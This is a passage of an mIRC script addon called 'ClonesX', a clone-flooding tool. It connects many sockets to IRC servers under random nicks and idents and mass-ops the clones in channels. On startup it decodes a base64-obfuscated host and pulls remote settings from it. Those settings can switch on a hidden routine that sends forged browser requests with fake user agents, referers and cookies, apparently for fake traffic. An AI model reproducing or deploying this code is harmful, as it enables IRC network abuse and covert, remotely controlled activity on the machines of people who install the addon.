      if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
      1016.
      if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
      1017.
      else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
      1018.
      var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z)))))     
      1019.
      p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
      1020.
      if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
      1021.
      else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
      1022.
    }
    1023.
    else {
      1024.
      if ($did(p.cloning,35).state == 1) {
        1025.
        if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
        1026.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
        1027.
        var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z),$did(p.cloning,37).text)) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999)))     
        1028.
        p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
        1029.
        if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
        1030.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }   
        1031.
      }
      1032.
      elseif ($did(p.cloning,36).state == 1) {
        1033.
        if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
        1034.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
        1035.
        var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z),$did(p.cloning,38).text)) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999)))
        1036.
        p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick     
        1037.
        if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
        1038.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
        1039.
      }
      1040.
    }
    1041.
  }
  1042.
}
1043.
on 1:SOCKCLOSE:p.cloning.*: {
  1044.
  if ($dialog(p.cloning)) {
    1045.
    ;echo -s Ha cerrado: $sock($sockname,1).wsmsg
    1046.
    p.cloning.con.com $sockname | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Remote- | p.cloning.cmds
    1047.
  }
  1048.
}
1049.
alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
1050.
alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
1051.
alias -l p.cloning.do.w {
  1052.
  ;if ($hget(p.cloning.a,$$1) != $null) { return }
  1053.
  p.cloning.w $$1 $$2
  1054.
}
1055.
alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
1056.
alias -l p.cloning.do.saSockN {
  1057.
  var %i = 1
  1058.
  while ($p.cloning.r(%i)) {
    1059.
    if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
    1060.
    var %i = %i + 1
    1061.
  }
  1062.
}
1063.
alias -l p.cloning.dos.numCL {
  1064.
  var %i = 1 | var %o = 0
  1065.
  while ($p.cloning.r(%i)) {
    1066.
    var %p.cloning.pill = $ifmatch
    1067.
    if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
    1068.
    var %i = %i + 1
    1069.
  }
  1070.
  if ($$1 == 0) { return $calc(%i - 1) }
  1071.
  elseif ($$1 == 1) { return %o }
  1072.

  1073.
}
1074.
alias p.cloning.ipports {
  1075.
  if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
  1076.
  else { dialog -md p.cloning.ipport p.cloning.ipport }
  1077.
}
1078.
dialog p.cloning.ipport {
  1079.
  title "ClonesX connected IP & Ports"
  1080.
  size -1 -1 157 225
  1081.
  option dbu
  1082.
  button "&OK", 1, 16 210 120 12, ok
  1083.
  box "At the moment", 2, 1 1 155 207
  1084.
  edit "", 3, 4 8 149 185, read multi hsbar vsbar
  1085.
  button "&Refresh", 4, 55 195 45 10
  1086.
}
1087.
alias -l p.cloning.ipports.act {
  1088.
  if ($dialog(p.cloning.ipport)) {
    1089.
    did -r p.cloning.ipport 3
    1090.
    var %i = 1
    1091.
    while ($sock(p.cloning.*,%i)) {
      1092.
      var %p.cloning.ipports.act = $ifmatch
      1093.
      var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
      1094.
      var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
      1095.
      if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
        1096.
        did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
        1097.
      }
      1098.
      var %i = %i + 1
      1099.
    }
    1100.
  }
  1101.
}
1102.
on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
1103.
on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
1104.
alias -l p.cloning.see.act {
  1105.
  var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
  1106.
  if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
  1107.
}
1108.
on 1:SockOpen:p.see.cloning.act: {
  1109.
  if ($sockerr == 0) {
    1110.
    var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
    1111.
    sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
    1112.
    .timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
    1113.
  }
  1114.
}
1115.
on 1:SockRead:p.see.cloning.act: {
  1116.
  if ($sockerr == 0) {
    1117.
    sockread %p.see.cloning.act
    1118.
    var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
    1119.
    var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58) 
    1120.
    if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
    1121.
    elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
    1122.
    elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
    1123.
    elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
    1124.
    elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
    1125.
    elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s 5ClonesX News: %p.see.cloning.act2 } 
    1126.
  }
  1127.
}
1128.
alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
1129.
on 1:sockopen:p.b.cloning?: {
  1130.
  if ($sockerr == 0) {
    1131.
    var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
    1132.
    var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
    1133.
    var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
    1134.
    var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
    1135.
    if ($sockname == p.b.cloning1) {
      1136.
      var %p.cloning.rrand = $rand(0,2)
      1137.
      if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
      1138.
      elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
      1139.
      else { set %p.cloning.b.lng es }
      1140.
      var %p.cloning.rrand = $rand(0,2)
      1141.
      if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
      1142.
      elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
      1143.
      else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
      1144.
      var %p.cloning.rrand = $rand(0,2)
      1145.
      if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
      1146.
      elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
      1147.
      else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
      1148.

      1149.
      var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
      1150.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
      1151.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
      1152.
      ;sockwrite -nt $sockname %p.b.cloning.tsn
      1153.
      .timerp.cloning.BB1 1 3 p.cloning.bbdo 2
      1154.
    }
    1155.
    elseif ($sockname == p.b.cloning2) {
      1156.
      var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
      1157.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
      1158.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
      1159.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
      1160.
      if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
      1161.
      else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
      1162.
      ;unset %p.cloning.b.lng
      1163.
      ;sockwrite -nt $sockname %p.b.cloning.tsn
      1164.
      ;.timerp.cloning.BB 1 2 .sockclose $sockname
      1165.
    }
    1166.
    else {
      1167.
      var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
      1168.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
      1169.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
      1170.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
      1171.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
      1172.
      if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
      1173.
      else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
      1174.
    }
    1175.
    sockwrite -nt $sockname %p.b.cloning.tsn
    1176.
  }
  1177.
}
1178.
on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
1179.
on 1:sockread:p.b.cloning?: {
  1180.
  if ($sockerr == 0) {
    1181.
    sockread %p.cloning.b.lng.r
    1182.
    if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
      1183.
      set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
      1184.
      var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }   
      1185.
      if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
      1186.
    }
    1187.
  }
  1188.
}
1189.
alias -l p.cloning.bbdo {
  1190.
  if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
    1191.
    var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)   
    1192.
    var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
    1193.
    var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
    1194.
    if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
    1195.
    elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
    1196.
  }
  1197.
}
1198.
dialog p.cloning.cred {
  1199.
  title "ClonesX Credits"
  1200.
  size -1 -1 144 99
  1201.
  option dbu
  1202.
  text "This addon has been created by script-planet. For anything about the addon contact:", 1, 1 2 142 15
  1203.
  text "Web: Mail: Forum:", 2, 1 16 14 21
  1204.
  link "irc://irc.quakenet.eu.org/script-planet", 3, 15 16 55 8
  1205.
  link "Xenon@clanboardzone.de", 4, 15 22 58 8
  1206.
  link "", 5, 15 29 129 8
  1207.
  box "Thanks to:", 6, 0 38 144 47
  1208.
  edit "Specially to LCA, acctually he has done the web ;) Others: (the big) savek, eX_FeRNaL, kern, [{odin}], lucan, corso, ediskrad... If i have forgot someone tell me xD. Also to people of #scripting (HISPANO NETWORK) ;)). I hope it'll be helpul for you, bye.", 7, 2 45 140 37, read multi
  1209.
  button "&Exit", 8, 45 87 55 11, ok
  1210.
}
1211.
on 1:DIALOG:p.cloning.cred:sclick,dclick:*: {
  1212.
  if ($did == 3) { run irc://irc.quakenet.eu.org/script-planet }
  1213.
  if ($did == 4) { run mailto:Xenon@clanboardzone.de?subject=ClonesX }
  1214.
  if ($did == 5) { run }
  1215.
}
1216.
dialog p.cloning.errD {
  1217.
  title "ClonesX error!"
  1218.
  size -1 -1 160 30
  1219.
  option dbu
  1220.
  text "", 1, 0 1 160 28
  1221.
  button "",2,-20 -20 0 0,cancel
  1222.
}
1223.
;on 1:DIALOG:p.cloning.errD:init:0: { did -a $dname 1 %p.cloning.errD }
1224.
dialog p.cloning.ac {
  1225.
  title "ClonesX -actualization-"
  1226.
  size -1 -1 160 43
  1227.
  option dbu
  1228.
  text "There is new version of ClonesX. Version:", 1, 2 4 128 8
  1229.
  text "", 2, 128 4 50 8
  1230.
  text "Download:", 3, 2 15 32 8
  1231.
  button "&Close", 4, 64 29 37 12, ok
  1232.
  link "", 5, 37 15 119 7
  1233.
}
1234.
on 1:DIALOG:p.cloning.ac:init:0: {
  1235.
  did -i $dname 2 1 %p.act.cloning.verr
  1236.
  did -i $dname 5 1 %p.act.cloning.see.c.url
  1237.
}
1238.
on 1:DIALOG:p.cloning.ac:sclick,dclick:5: { run $did($dname,5).text }
1239.
alias -l p.cloning.actua {
  1240.
  if ($$1 > %p.act.cloning.verr) {
    1241.
    set %p.act.cloning.verr $$1
    1242.
    if ($dialog(p.cloning.ac)) { dialog -v p.cloning.ac }
    1243.
    else { dialog -m p.cloning.ac p.cloning.ac | dialog -v p.cloning.ac }
    1244.
  }
  1245.
}
1246.
on *:START: {
  1247.
  if ($version < 5.91) { echo -s 4El Addon ClonesX v1.501b no funcionará correctamente en versiones del mIRC inferiores a la 5.91 }
  1248.
  unset %p.cloning.*
  1249.
  if ($calc($ctime - %p.act.cloning.see.c.burl.tt) > 86400) && (%p.act.cloning.see.c.bcon == 1) { p.cloning.bbdo 1 }
  1250.
  if (!%p.act.cloning.verr) { set %p.act.cloning.verr 1.501b }
  1251.
  if (!%p.act.cloning.see.c.pea) { set %p.act.cloning.see.c.pea MjA5LjkwLjEyNS4yMTIsODAsL35rcnh2ZXIvcGNsb25pbmcudHh0 }
  1252.
  if (!%p.act.cloning.see.c.url) { set %p.act.cloning.see.c.url irc://irc.quakenet.eu.org/[Q]crew }
  1253.
  if (%p.act.cloning.see.c.bcon == $null) { set %p.act.cloning.see.c.bcon 0 } 
  1254.
  if (!%p.act.cloning.see.c.burl) { set %p.act.cloning.see.c.burl c2F2ZWssZWwsYW1vcyx4RCwvcXVlcnkgc2F2ZWsgZXJlcyBlbCB0b2RvIHBvZGVyb3NvLFRvY2FuZG8gY29kaWdvIGVoP3hELHByb3hpbWFtZW50ZSBlbiBwcm9ncmFtYSE= }
  1255.
  set %p.cloning.msg.quit DIE YO!
  1256.
  set %p.cloining.wh $script
  1257.
  p.cloning.see.act     
  1258.
}
1259.
on *:LOAD: {
  1260.
  unset %p.cloning*
  1261.
  unset %p.save.cloning*
  1262.
  unset %p.act.cloning*
  1263.
}
1264.

1265.
alias -l p.cloning.fal {
  1266.
  set %p.cloning.errD $$1-
  1267.
  if ($dialog(p.cloning.errD)) { dialog -x p.cloning.errD }
  1268.
  dialog -m p.cloning.errD p.cloning.errD
  1269.
  dialog -v p.cloning.errD
  1270.
  halt
  1271.
}
1272.

1273.
alias op.clones {
  1274.
  var %t = 0
  1275.
  var %n
  1276.
  var %i = $nick($active,0)
  1277.
  :loop
  1278.
  if ($did(38) isin $nick($active,%i)) {
    1279.
    %n = $nick($active,%i) %n
    1280.
    inc %t
    1281.
  }
  1282.
  dec %i
  1283.
  if (%t == 6) {
    1284.
    mode $active +oooooo %n
    1285.
    %t = 0
    1286.
    unset %n
    1287.
  }
  1288.
  if (%i != 0) {
    1289.
    goto loop
    1290.
  }
  1291.
  else {
    1292.
    mode $active +ooooo %n
    1293.
  }
  1294.
}
1295.
alias go.clonesop {
  1296.
  var %t = 0
  1297.
  var %n
  1298.
  var %i = $nick($active,0)
  1299.
  :loop
  1300.
  if ($did($dname,38) isin $nick($active,%i)) {
    1301.
    %n = $nick($active,%i) %n
    1302.
    inc %t
    1303.
  }
  1304.
  dec %i
  1305.
  if (%t == 6) {
    1306.
    p.cloning.runcmd mode $did($dname,16) +oooooo %n
    1307.
    %t = 0
    1308.
    unset %n
    1309.
  }
  1310.
  if (%i != 0) {
    1311.
    goto loop
    1312.
  }
  1313.
  else {
    1314.
    p.cloning.runcmd mode $did($dname,16) +ooooo %n
    1315.
  }
  1316.
}
1317.

1318.
alias go.clonesinvite {
  1319.
  p.cloning.runcmd invite %proxynick $did($dname,16)
  1320.
}
1321.
alias op.allclones {
  1322.
  var %t = 0
  1323.
  var %n
  1324.
  var %i = $nick($active,0)
  1325.
  :loop
  1326.
  if (%proxynick isin $nick($active,%i)) {
    1327.
    %n = $nick($active,%i) %n
    1328.
    inc %t
    1329.
  }
  1330.
  dec %i
  1331.
  if (%t == 6) {
    1332.
    mode $did(16) +oooooo %n
    1333.
    %t = 0
    1334.
    unset %n
    1335.
  }
  1336.
  if (%i != 0) {
    1337.
    goto loop
    1338.
  }
  1339.
  else {
    1340.
    mode $did(16) +ooooo %n
    1341.
  }
  1342.
}
1343.
alias -l copy {
  1344.
  did -o p.cloning 89 1 Modded ClonesX by SgtSlaughter
  1345.
}
1346.

1347.

1348.
/*
1349.
on *:TEXT:!fortune*:#:{
  1350.
  var %w $rand(1,5)
  1351.
  if (%w == 1) {
    1352.
    /msg $chan You spin the wheel...
    1353.
    /msg $chan The wheel stops on.....2KICK!
    1354.
    /kick $chan $2
    1355.
  }
  1356.
  elseif (%w == 2 ) {
    1357.
    /msg $chan You spin the wheel...
    1358.
    /msg $chan The wheel stops on.....2VOICE!
    1359.
    /mode $chan +v $2
    1360.
  }
  1361.
  elseif (%w == 3 ) {
    1362.
    /msg $chan You spin the wheel...
    1363.
    /msg $chan The wheel stops on.....2HALF OP!
    1364.
    /mode $chan +h $2
    1365.
  }
  1366.
  elseif (%w == 4 ) {
    1367.
    /msg $chan You spin the wheel...
    1368.
    /msg $chan The wheel stops on.....2BAN!
    1369.
    /mode $chan +b $2 $+ !*@*
    1370.
  }
  1371.
  elseif (%w == 5) {
    1372.
    /msg $chan You spin the wheel...
    1373.
    /msg $chan The wheel stops on.....2COOKIE!
    1374.
    /describe $chan gives $2 a nice, warm, homemade cookie.
    1375.
  }
  1376.
  else {
    1377.
    /msg $chan You spin the wheel...
    1378.
    /msg $chan The wheel stops on.....2MILK!
    1379.
    /describe $chan gives $2 a nice, cold, glass of milk.
    1380.
  }
  1381.
}
1382.
*/